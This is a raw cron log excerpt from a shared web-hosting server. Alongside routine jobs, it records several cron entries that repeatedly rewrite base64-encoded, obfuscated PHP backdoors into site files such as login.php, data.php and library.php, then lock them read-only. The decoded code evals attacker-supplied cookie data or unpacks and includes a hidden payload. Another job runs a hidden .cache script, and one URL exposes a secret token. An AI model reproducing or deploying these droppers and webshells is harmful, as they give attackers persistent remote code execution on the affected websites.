Apr 19 06:44:01 medusa CROND[21066]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:44:01 medusa CROND[21067]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:44:01 medusa CROND[21068]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:44:01 medusa CROND[21069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:44:01 medusa CROND[21070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:44:01 medusa CROND[21071]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:44:01 medusa CROND[21076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:44:01 medusa CROND[21077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:44:01 medusa CROND[21081]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:44:01 medusa CROND[21090]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:45:01 medusa CROND[12288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:45:01 medusa CROND[12289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:45:01 medusa CROND[12311]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:45:01 medusa CROND[12334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:45:01 medusa CROND[12411]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:45:01 medusa CROND[12427]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:45:01 medusa CROND[12428]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:45:01 medusa CROND[12429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:45:01 medusa CROND[12434]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12436]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12439]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:45:01 medusa CROND[12437]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:45:01 medusa CROND[12443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12445]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:45:01 medusa CROND[12438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:45:01 medusa CROND[12442]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:45:01 medusa CROND[12455]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12459]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:45:01 medusa CROND[12452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:45:01 medusa CROND[12467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:45:01 medusa CROND[12468]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:46:01 medusa CROND[4263]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:46:01 medusa CROND[4323]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:46:01 medusa CROND[4324]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:46:01 medusa CROND[4325]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:46:01 medusa CROND[4326]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:46:01 medusa CROND[4327]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:46:01 medusa CROND[4329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:46:01 medusa CROND[4332]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:46:01 medusa CROND[4334]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:46:01 medusa CROND[4335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:46:01 medusa CROND[4336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
